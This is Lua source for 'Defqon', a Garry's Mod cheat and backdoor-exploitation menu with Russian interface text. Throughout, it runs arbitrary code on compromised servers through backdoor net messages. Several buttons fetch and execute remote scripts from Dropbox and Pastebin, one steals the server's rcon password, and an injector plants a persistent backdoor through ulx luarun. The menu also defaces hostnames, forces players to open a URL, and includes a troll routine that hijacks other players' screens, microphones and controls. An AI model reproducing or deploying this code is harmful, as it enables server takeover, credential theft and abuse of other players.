commandnethtx26:SetTextColor(Color(255, 255, 255, 255))
commandnethtx26.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx26.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Кхм" )
net.Start(thefrenchenculer)
net.WriteString([[
for k,v in pairs(player.GetAll()) do
timer.Create("cough", 10, 0, function()
RunConsoleCommand("say", "*кхм..кхм*")
v:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 10)
util.ScreenShake( Vector( 0, 0, 0 ), 1000, 1000, 1, 5000 )
end)
end
]])
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx27 = vgui.Create("DButton", DScrollPanel)
commandnethtx27:SetSize( 208, 20 )
commandnethtx27:SetPos( 2, 700 )
commandnethtx27:SetText("Azis - Hop на весь экран")
commandnethtx27:SetTextColor(Color(255, 255, 255, 255))
commandnethtx27.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx27.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запущено" )
net.Start(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://www.dropbox.com/s/igdoi7tpya4wldn/bridgehack.lua?dl=1\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx28 = vgui.Create("DButton", DScrollPanel)
commandnethtx28:SetSize( 208, 20 )
commandnethtx28:SetPos( 2, 125 )
commandnethtx28:SetText("RCON STEALER")
commandnethtx28:SetTextColor(Color(255, 255, 255, 255))
commandnethtx28.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx28.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
net.Start(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/Ruxg4fFk\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
timer.Simple( 0.5, function()
if iZNX.ValidNetString( "jeveuttonrconleul" ) then
net.Start("jeveuttonrconleul")
net.SendToServer()
else
chat.AddText( Color(255, 0, 0),"rcon_password не найден, попробуйте еще раз ^^" )
end
end )
end
----------------------------------------------------------------------------------------------
local RconCommand = vgui.Create( "DTextEntry", DScrollPanel )
RconCommand:SetPos( 110, 0 )
RconCommand:SetSize( 100, 20 )
RconCommand:SetText( "hostname Hacked by DefqonSploit | discord.gg/hf8GVVS" )
local Lancer_rcon_commande = vgui.Create("DButton", DScrollPanel )
Lancer_rcon_commande:SetSize( 103, 20 )
Lancer_rcon_commande:SetPos( 2, 0 )
Lancer_rcon_commande:SetText("RCON Команда")
Lancer_rcon_commande:SetTextColor(Color(255, 255, 255, 255))
Lancer_rcon_commande.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
Lancer_rcon_commande.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Rcon Команда отправлена" )
local rcon_commandes_get = RconCommand:GetValue()
iZNX.NetStart(thefrenchenculer)
net.WriteString( rcon_commandes_get )
net.WriteBit(false)
net.SendToServer()
end
local GLUACommand = vgui.Create( "DTextEntry", DScrollPanel )
GLUACommand:SetPos( 110, 25 )
GLUACommand:SetSize( 100, 20 )
GLUACommand:SetText( "for k,v in pairs(player.GetAll()) do v:SendLua([[gui.OpenURL(\"http://discord.gg/hf8GVVS\")]]) end" ) -- timer.Create(\"Timerdecrash\",0.5,1,function() while true do end end)
local Lancer_glua_commande = vgui.Create("DButton", DScrollPanel )
Lancer_glua_commande:SetSize( 103, 20 )
Lancer_glua_commande:SetPos( 2, 25 )
Lancer_glua_commande:SetText("Lua код")
Lancer_glua_commande:SetTextColor(Color(255, 255, 255, 255))
Lancer_glua_commande.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
Lancer_glua_commande.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Lua код отправлен" )
local glua_commandes_get = GLUACommand:GetValue()
iZNX.NetStart(thefrenchenculer)
net.WriteString( glua_commandes_get )
net.WriteBit(1)
net.SendToServer()
end
end
net.Receive( "rcon_passw_dump", function()
local rcon_pass = net.ReadString()
chat.AddText( Color(255, 255, 255), rcon_pass, Color(0, 255, 0)," GG с этим вы можете ломать сервер, даже если он удалит backdoor :D")
end )
net.Receive( "aucun_rcon_ici", function()
chat.AddText( Color(255, 0, 0),"Нет rcon_password на сервере :/" )
end )
function iZNX.MakePlayerSelectionButton( parent, x, y, addr )
if !parent:IsValid() then return end
local TButton = vgui.Create( "DButton" )
TButton:SetParent( parent )
TButton:SetPos( x, y )
TButton:SetText( "Выберите игрока" )
TButton:SetTextColor( Color(255, 255, 255, 255) )
TButton:SizeToContents()
TButton:SetTall( 24 )
TButton.Paint = function( self, w, h )
surface.SetDrawColor( Color(60, 60, 90, 200) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color( 60, 60, 60 ) )
surface.SetMaterial( downgrad )
surface.DrawTexturedRect( 0, 0, w, h/ 2 )
surface.SetDrawColor( Color(100, 100, 100, 255) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.SetDrawColor( Color(70, 70, 100, 255) )
surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
end
TButton.DoClick = function()
iZNX.SelectPlayersPanel( addr )
end
return TButton:GetWide(), TButton:GetTall()
end
function iZNX.SelectPlayersPanel( addr )
if iZNX.PlayerSelector and iZNX.PlayerSelector:IsVisible() then iZNX.PlayerSelector:Remove() end
local plytab = iZNX.GetStored( addr, {} )
iZNX.PlayerSelector = vgui.Create("DFrame")
iZNX.PlayerSelector:SetSize(250,400)
iZNX.PlayerSelector:SetTitle("Выбор цели")
iZNX.PlayerSelector:SetPos( gui.MouseX(), gui.MouseY() )
iZNX.PlayerSelector:MakePopup()
iZNX.PlayerSelector.Paint = function( s, w, h )
if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end
surface.SetDrawColor( Color(30, 30, 30, 245) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(55, 55, 55, 245) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
end
local Plist = vgui.Create( "DPanelList", iZNX.PlayerSelector )
Plist:SetSize( iZNX.PlayerSelector:GetWide() - 10, iZNX.PlayerSelector:GetTall() - 55 )
Plist:SetPadding( 5 )
Plist:SetSpacing( 5 )
Plist:EnableHorizontal( false )
Plist:EnableVerticalScrollbar( true )
Plist:SetPos( 5, 40 )
Plist:SetName( "" )
local target1 = vgui.Create("DButton", iZNX.PlayerSelector)
target1:SetSize( 40, 20 )
target1:SetPos( 10, 23 )
target1:SetText("Все")
target1:SetTextColor(Color(255, 255, 255, 255))
target1.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
end
target1.DoClick = function()
for _, p in pairs(player.GetAll()) do
if not table.HasValue( plytab, p ) then
table.insert( plytab, p )
end
end
iZNX.Store( addr, plytab )
end
local target2 = vgui.Create("DButton", iZNX.PlayerSelector)
target2:SetSize( 40, 20 )
target2:SetPos( 55, 23 )
target2:SetText("Никто")
target2:SetTextColor(Color(255, 255, 255, 255))
target2.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
end
target2.DoClick = function()
table.Empty( plytab )
iZNX.Store( addr, plytab )
end
local target3 = vgui.Create("DButton", iZNX.PlayerSelector )
target3:SetSize( 40, 20 )
target3:SetPos( 100, 23 )
target3:SetText("Вы")
target3:SetTextColor(Color(255, 255, 255, 255))
target3.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(0, 0, 50 ,155)
surface.DrawRect(0, 0, w, h)
end
target3.DoClick = function()
table.Empty( plytab )
table.insert( plytab, LocalPlayer() )
iZNX.Store( addr, plytab )
end
local target4 = vgui.Create( "DTextEntry", iZNX.PlayerSelector )
target4:SetPos( 145, 23 )
target4:SetSize( 95, 20 )
target4:SetText( "" )
target4.OnChange = function( self )
local nam = self:GetValue()
local namtab = string.Explode( ", ", nam )
table.Empty( plytab )
for _, pl in pairs( player.GetAll() ) do
for _, s in pairs( namtab ) do
if string.find( string.lower( pl:Nick() ), s ) then
table.insert( plytab, pl )
end
end
end
iZNX.Store( addr, plytab )
end
for k, v in pairs( player.GetAll() ) do
local plypanel2 = vgui.Create( "DPanel" )
plypanel2:SetPos( 0, 0 )
plypanel2:SetSize( 200, 25 )
local teamcol = team.GetColor( v:Team() )
plypanel2.Paint = function( s, w, h )
if !v:IsValid() then return end
surface.SetDrawColor( Color(30, 30, 30, 245) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( teamcol )
surface.DrawRect( 0, h - 3, w, 3 )
surface.SetDrawColor( Color(55, 55, 55, 245) )
surface.DrawOutlinedRect( 0, 0, w, h )
if table.HasValue( plytab, v ) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
end
local plyname = vgui.Create( "DLabel", plypanel2 )
plyname:SetPos( 10, 5 )
plyname:SetFont( "Trebuchet18" )
local tcol = Color( 255, 255, 255 )
if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end
plyname:SetColor( tcol )
plyname:SetText( v:Nick() )
plyname:SetSize(180, 15)
local faggot = vgui.Create("DButton", plypanel2 )
faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
faggot:SetPos( 0, 0 )
faggot:SetText("")
faggot.Paint = function(panel, w, h)
return
end
faggot.DoClick = function()
if table.HasValue( plytab, v ) then
table.RemoveByValue( plytab, v )
else
table.insert( plytab, v )
end
iZNX.Store( addr, plytab )
end
Plist:AddItem( plypanel2 )
end
end
function iZNX.MakeTextInputButton( parent, x, y, btext, default, addr)
if !parent:IsValid() then return end
local hostframe = vgui.Create( "DPanel", parent )
hostframe:SetPos( x, y )
hostframe.Paint = function( self, w, h )
surface.SetDrawColor( Color(60, 60, 60, 200) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color( 60, 60, 60 ) )
surface.SetMaterial( downgrad )
surface.DrawTexturedRect( 0, 0, w, h/ 2 )
surface.SetDrawColor( Color(100, 100, 100, 255) )
surface.DrawOutlinedRect( 0, 0, w, h )
end
local tttt = vgui.Create( "DLabel", hostframe )
tttt:SetPos( 5, 5 )
tttt:SetText( btext )
tttt:SizeToContents()
local tentry = vgui.Create( "DTextEntry", hostframe )
tentry:SetPos( 10 + tttt:GetWide(), 2 )
tentry:SetSize( 130, 20 )
tentry:SetText( iZNX.GetStored( addr, default ) )
tentry.OnChange = function( self )
iZNX.Store( addr, self:GetValue() )
end
hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
return hostframe:GetWide(), hostframe:GetTall()
end
function iZNX.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
if !parent:IsValid() then return end
local hostframe = vgui.Create( "DPanel", parent )
hostframe:SetPos( x, y )
hostframe.Paint = function( self, w, h )
surface.SetDrawColor( Color(60, 60, 60, 200) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color( 60, 60, 60 ) )
surface.SetMaterial( downgrad )
surface.DrawTexturedRect( 0, 0, w, h/ 2 )
surface.SetDrawColor( Color(100, 100, 100, 255) )
surface.DrawOutlinedRect( 0, 0, w, h )
end
local tttt = vgui.Create( "DLabel", hostframe )
tttt:SetPos( 5, 5 )
tttt:SetText( btext )
tttt:SizeToContents()
local wangmeoff = vgui.Create( "DNumberWang", hostframe )
wangmeoff:SetPos( 10 + tttt:GetWide(), 2 )
wangmeoff:SetSize( 75, 20 )
wangmeoff:SetDecimals( 2 )
wangmeoff:SetMinMax( min , max )
wangmeoff:SetValue( iZNX.GetStored( addr, default ) )
wangmeoff:SetAllowNonAsciiCharacters(false)
wangmeoff.OnValueChanged = function( self, val )
iZNX.Store( addr, self:GetValue() )
end
hostframe:SetSize( 13 + tttt:GetWide() + wangmeoff:GetWide(), 24 )
return hostframe:GetWide(), hostframe:GetTall()
end
local FillFrameRates = RatesScaleLevel
concommand.Add( "Defqon", function()
if FillFrameRates == LocalPlayer():SteamID() -- да ацсаси
then
LocalPlayer():EmitSound("weapons/ar2/ar2_reload_push.wav",500,100)
iZNX.Menu = vgui.Create("DFrame")
iZNX.Menu:SetSize(950,820)
iZNX.Menu:SetTitle("")
iZNX.Menu:Center()
iZNX.Menu:MakePopup()
iZNX.Menu.gay = table.Count( iZNX.sploits )
iZNX.Menu.Paint = function( s, w, h )
surface.SetDrawColor( Color(41, 41, 41) ) -- Цвет обводки внутри меню (41 41 41)
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(55, 55, 55, 245) ) -- Обводка меню
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
surface.SetDrawColor( Color(33, 33, 33) ) -- Цвет меню в центре
surface.DrawRect( 80, 25, w - 90, h - 35 )
surface.SetDrawColor( Color(100, 100, 100, 200) )
draw.DrawText( "Defqon v 5.1.1\nExploits: "..iZNX.Menu.gay, "default", 8, 15, Color(255,255,255, 350) )
draw.DrawText( "17.03.18", "default", 8, 40, Color(255,255,255, 350) )
draw.DrawText( "---------------","HUDLogo2", 6, 664, Color(255,255,255, 10000) )
draw.DrawText( "Остальное","HUDLogo2", 5, 652, Color(255,255,255, 10000) )
draw.DrawText( "---------------","HUDLogo2", 6, 638, Color(255,255,255, 10000) )
end
local Plist = vgui.Create( "DPanelList", iZNX.Menu )
Plist:SetSize( iZNX.Menu:GetWide() - 90, iZNX.Menu:GetTall() - 35 )
Plist:SetPadding( 5 )
Plist:SetSpacing( 5 )
Plist:EnableHorizontal( false )
Plist:EnableVerticalScrollbar( true )
Plist:SetPos( 80, 25 )
Plist:SetName( "" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 765, "Ноклип", Noclip, "ClientSide Noclip" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 792, "Инжектор", Inject, "Инжектит фирменный Backdoor на сервер" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 737, "Бэкдур чек", checkbackdoors, "Лист бэкдуров aka чек сервера на бэкдуры (смотреть в консоль)" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 710, "Админ-хак", lmfao, "Фейк ULX выдача SuperAdmin, можно сделать скриншот, мол вы хакер" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 683, "Не нажимать", lmfao1, "НЕ НАЖИМАТЬ!!" )
iZNX.MakeFunctionButtonr( iZNX.Menu, 7, 67, "Создатель", gui.url, "Ссылка на страницу создателя меню" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 148, "Сканер", iZNX.ScanPlayers, "Сканирует игроков" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 310, "Lua Viewer", luaview, "Клиент-сайд lua view" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 121, "Чек Версии", CheckVersion, "Чек версии чита" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 175, "RainbowGun", rainbowphysgun, "Включает радужный физган" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 202, "RunLuaCode", editor, "Run on self - Запуск луа кода на себя" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 229, "WallHack", WHT, "Включает вх" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 256, "BunnyHop", Bhop, "Обыкновенный бхоп" )
iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 283, "Big Menu", bigmenu, "Big Menu" )
iZNX.MakeFunctionButtonr( iZNX.Menu, 7, 94, "Анти-Читы", anticheats, "Показывает меры безопасности (Скринграбы, анти-читы и т.д)" )
local function CreateSploitPanel( name, t )
if !iZNX.Menu then return end
local cmdp = vgui.Create( "DPanel" )
cmdp:SetSize( Plist:GetWide(), 70 )
cmdp.Cmd = name
cmdp.Desc = t.desc
cmdp.Paint = function( s, w, h )
surface.SetDrawColor( Color(41, 41, 41, 245) ) -- Цвет эксплойтов
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( severitycols[t.severity] )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawLine( 0, 24, w, 24 )
draw.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) )
draw.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
end
local x = 10
for _, tab in ipairs( t.functions ) do
if tab.typ == "func" then
x = (x + 5) + iZNX.MakeFunctionButton( cmdp, x, 42, tab.name, tab.func )
elseif tab.typ == "players" then
x = (x + 5) + iZNX.MakePlayerSelectionButton( cmdp, x, 42, tab.addr )
elseif tab.typ == "htxcommandeliste" then
x = (x + 5) + iZNX.HTXBackdoor( cmdp, x, 42, tab.name )
elseif tab.typ == "soundboard" then
x = (x + 5) + iZNX.SoundBoard( cmdp, x, 42, tab.name )
elseif tab.typ == "string" then
x = (x + 5) + iZNX.MakeTextInputButton( cmdp, x, 42, tab.name, tab.default, tab.addr )
if !iZNX.IsStored( tab.addr ) then iZNX.Store( tab.addr, tab.default ) end
elseif tab.typ == "float" then
x = (x + 5) + iZNX.MakeNumberInputButton( cmdp, x, 42, tab.name, tab.default, tab.min, tab.max, tab.addr )
if !iZNX.IsStored( tab.addr ) then iZNX.Store( tab.addr, tab.default ) end
end
end
Plist:AddItem( cmdp )
end
for k, v in pairs( iZNX.sploits ) do
if v.scan() then CreateSploitPanel( k, v ) end
end
else
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Привет у меня аутизм!" )
--RunConsoleCommand( "sdbhfbgf" )
return end
end)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--[[ --------------------------------------------------------------
_____ _ _ _ _ _ _ _
| ___|_ _| | _____ | | | | |_ __ | | | | __ _ ___| | __
| |_ / _` | |/ / _ \ | | | | \ \/ / | |_| |/ _` |/ __| |/ /
| _| (_| | < __/ | |_| | |> < | _ | (_| | (__| <
|_| \__,_|_|\_\___| \___/|_/_/\_\ |_| |_|\__,_|\___|_|\_\
---------------------------------------------------------------]]
function lmfao()
surface.PlaySound("garrysmod/ui_click.wav")
if( ulx ) then
chat.AddText( Color( 0, 0, 0, 255 ), "(Console) ", Color( 160, 200, 200, 255 ), "added ", Color( 80, 0, 120, 255 ), "You ", Color( 160, 200, 200, 255 ), "to group ", Color( 0, 255, 0, 255 ), "superadmin" )
else
chat.AddText( "На этом сервере не установлен ULX" )
end
end
CCA( "Defqon_adduser", lmfao )
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--[[ ---------------------------------------------------------------------------------- чо за поебота блять
____ _ _ ____ _ _ _ ____ _ _
| _ \ ___ _ __ ( ) |_ / ___| (_) ___| | __ | __ ) _ _| |_| |_ ___ _ __
| | | |/ _ \| '_ \|/| __| | | | | |/ __| |/ / | _ \| | | | __| __/ _ \| '_ \
| |_| | (_) | | | | | |_ | |___| | | (__| < | |_) | |_| | |_| || (_) | | | |
|____/ \___/|_| |_| \__| \____|_|_|\___|_|\_\ |____/ \__,_|\__|\__\___/|_| |_|
----------------------------------------------------------------------------------]]
function lmfao1()
surface.PlaySound("garrysmod/ui_click.wav")
local msg = "Подожди. . ."
surface.CreateFont("lolwutbet", {size=75})
local function huddrawdetour()
draw.RoundedBox(0, 0, 0, ScrW(), ScrH(), HSVToColor( CurTime() % 6 * 60, 1, 1 ))
draw.RoundedBox(0, 0, ScrH() / 3.5, ScrW(), ScrH() / 4.5, Color(0, 0, 0))
draw.SimpleText(msg, "lolwutbet", ScrW() / 2, ScrH() / 2.5, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
for k,v in pairs(hook.GetTable()) do
for o,j in pairs(v) do
if k == "HUDPaint" then
hook.Remove(k, o)
hook.Add(k, o, huddrawdetour)
end
end
end
hook.Add("HUDPaint","eztoirkfghdjbnvxc", huddrawdetour)
timer.Create("wowlolwut_my_boi",2 ,0 , function()
msg = table.Random({
"Зачем ты нажал?",
"cl_yawspeed 8",
"-right",
"Почему ты это сделал ?",
"Я уже взламываю твой аккаунт",
"Я же написал, чтоб ты не нажимал",
"Команды на экране",
"u n00b",
"-right",
"1337 h4ck3r",
"Больше не нажимай на меня, ок?",
"cl_yawspeed 8",
"Надеюсь, ты усвоил урок",
"..."})
end)
timer.Create("lgfholjghlfdsh",0 ,0 , function()
MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "ЗАПУСТИ МЕНЯ ЕЩЕ РАЗ, ДАВАЙ, СДЕЛАЙ ЭТО!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !\n")
end)
sound.PlayURL("http://d.zaix.ru/5Kko.mp3","mono noblock", function( s )
s:Play()
end)
LocalPlayer():ConCommand("+voicerecord")
LocalPlayer():ConCommand("cl_yawspeed 9999")
LocalPlayer():ConCommand("+right")
MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "Нажми escape !\n")
timer.Simple(5 * 60, function()
table.Empty(debug.getregistry())
end )
end
concommand.Add( "Music_troll", lmfao1 )
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--[[------------------------------------------------------------------
____ _ ____ _ _
/ ___|__ _| | _____ / ___| |__ ___ ___| | _____ _ __
| | / _` | |/ / _ \ | | | '_ \ / _ \/ __| |/ / _ \ '__|
| |__| (_| | < __/ | |___| | | | __/ (__| < __/ |
\____\__,_|_|\_\___| \____|_| |_|\___|\___|_|\_\___|_|
------------------------------------------------------------------]]
if (_G.QAC or _G.CAC) then
surface.PlaySound("ambient/alarms/klaxon1.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "На сервере стоит Cake Anti Cheat!")
end
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
local ply = LocalPlayer()
function Noclip()
surface.PlaySound("garrysmod/ui_click.wav")
ply:ConCommand( "Defqon_noclip" )
end
local SW = {}
SW.Enabled = false
SW.ViewOrigin = Vector( 0, 0, 0 )
SW.ViewAngle = Angle( 0, 0, 0 )
SW.Velocity = Vector( 0, 0, 0 )
function SW.CalcView( ply, origin, angles, fov )
if ( !SW.Enabled ) then return end
if ( SW.SetView ) then
SW.ViewOrigin = origin
SW.ViewAngle = angles
SW.SetView = false
end
return { origin = SW.ViewOrigin, angles = SW.ViewAngle }
end
hook.Add( "CalcView", "SpiritWalk", SW.CalcView )
function SW.CreateMove( cmd )
if ( !SW.Enabled ) then return end
local time = FrameTime()
SW.ViewOrigin = SW.ViewOrigin + ( SW.Velocity * time )
SW.Velocity = SW.Velocity * 0.95
local sensitivity = 0.022
SW.ViewAngle.p = math.Clamp( SW.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
SW.ViewAngle.y = SW.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
local add = Vector( 0, 0, 0 )
local ang = SW.ViewAngle
if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
add = add:GetNormal() * time * 3000
if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
SW.Velocity = SW.Velocity + add
if ( SW.LockView == true ) then
SW.LockView = cmd:GetViewAngles()
end
if ( SW.LockView ) then
cmd:SetViewAngles( SW.LockView )
end
cmd:SetForwardMove( 0 )
cmd:SetSideMove( 0 )
cmd:SetUpMove( 0 )
end
hook.Add( "CreateMove", "SpiritWalk", SW.CreateMove )
function SW.Toggle()
SW.Enabled = !SW.Enabled
SW.LockView = SW.Enabled
SW.SetView = true
local status = { [ true ] = "ON", [ false ] = "OFF" }
end
concommand.Add( "Defqon_noclip", SW.Toggle )
function ValidNetString( str )
local status, error = pcall( net.Start, str )
return status
end
-- Superadmin Injector
function Inject()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 255, 255 )," Инжектим..." )
if ( ply:IsSuperAdmin() ) then
timer.Simple( 3, function()
if( ValidNetString("DefqonBackdoor") ) then
else
RunConsoleCommand( "ulx", "logecho", "0" )
RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString ('DefqonBackdoor')" )
RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString('ravenhacknet') net.Receive('ravenhacknet', function( length, ply ) local netString = net.ReadString() local bit = net.ReadBit() if bwwwit == 1 then RunString(netString) else game.ConsoleCommand(netString .. '\n') end end)" )
RunConsoleCommand( "ulx", "logecho", "1" )
chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 0, 255, 0 )," Успешно заинжекчено!" )
end
end )
else
chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 0, 0 )," Failed! Вы не superadmin!" )
end
if( ValidNetString("DefqonBackdoor") ) then
chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 255, 255 )," Backdoor уже загружен!" )
end
end
-- Backdoor Checker
function checkbackdoors()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 255, 255 )," В консоль посмотрите" )
if( ValidNetString("Sbox_darkrp") ) then
print( "[Defqon] Найден Backdoor! - Sbox_darkrp" )
end
if( ValidNetString("_Defqon") ) then
print( "[Defqon] Найден Backdoor! - _Defqon" )
end
if( ValidNetString("Sandbox_ArmDupe") ) then
print( "[Defqon] Найден Backdoor! - Sandbox_ArmDupe" )
end
if( ValidNetString("Sbox_itemstore") ) then
print( "[Defqon] Найден Backdoor! - Sbox_itemstore" )
end
if( ValidNetString("Ulib_Message") ) then
print( "[Defqon] Найден Backdoor! - Ulib_Message" )
end
if( ValidNetString("ULogs_Info") ) then
print( "[Defqon] Найден Backdoor! - ULogs_Info" )
end
if( ValidNetString("ITEM") ) then
print( "[Defqon] Найден Backdoor! - ITEM" )
end
if( ValidNetString("fix") ) then
print( "[Defqon] Найден Backdoor! - fix" )
end
if( ValidNetString("Fix_Keypads") ) then
print( "[Defqon] Найден Backdoor! - Fix_Keypads" )
end
if( ValidNetString("Remove_Exploiters") ) then
print( "[Defqon] Найден Backdoor! - Remove_Exploiters" )
end
if( ValidNetString("noclipcloakaesp_chat_text") ) then
print( "[Defqon] Найден Backdoor! - noclipcloakaesp_chat_text" )
end
if( ValidNetString("_CAC_ReadMemory") ) then
print( "[Defqon] Найден Backdoor! - _CAC_ReadMemory" )
end
if( ValidNetString("nostrip") ) then
print( "[Defqon] Найден Backdoor! - nostrip" )
end
if( ValidNetString("nocheat") ) then
print( "[Defqon] Найден Backdoor! - nocheat" )
end
if( ValidNetString("LickMeOut") ) then
print( "[Defqon] Найден Backdoor! - LickMeOut" )
end
if( ValidNetString("ULX_QUERY2") ) then
print( "[Defqon] Найден Backdoor! - ULX_QUERY2" )
end
if( ValidNetString("MoonMan") ) then
print( "[Defqon] Найден Backdoor! - MoonMan" )
end
if( ValidNetString("Im_SOCool") ) then
print( "[Defqon] Найден Backdoor! - Im_SOCool" )
end
if( ValidNetString("Sandbox_GayParty") ) then
print( "[Defqon] Найден Backdoor! - Sandbox_GayParty" )
end
if( ValidNetString("DarkRP_UTF8") ) then
print( "[Defqon] Найден Backdoor! - DarkRP_UTF8" )
end
if( ValidNetString("oldNetReadData") ) then
print( "[Defqon] Найден Backdoor! - oldNetReadData" )
end
if( ValidNetString("memeDoor") ) then
print( "[Defqon] Найден Backdoor! - memeDoor" )
end
if( ValidNetString("BackDoor") ) then
print( "[Defqon] Найден Backdoor! - BackDoor" )
end
if( ValidNetString("OdiumBackDoor") ) then
print( "[Defqon] Найден Backdoor! - OdiumBackDoor" )
end
if( ValidNetString("cucked") ) then
print( "[Defqon] Найден Backdoor! - cucked" )
end
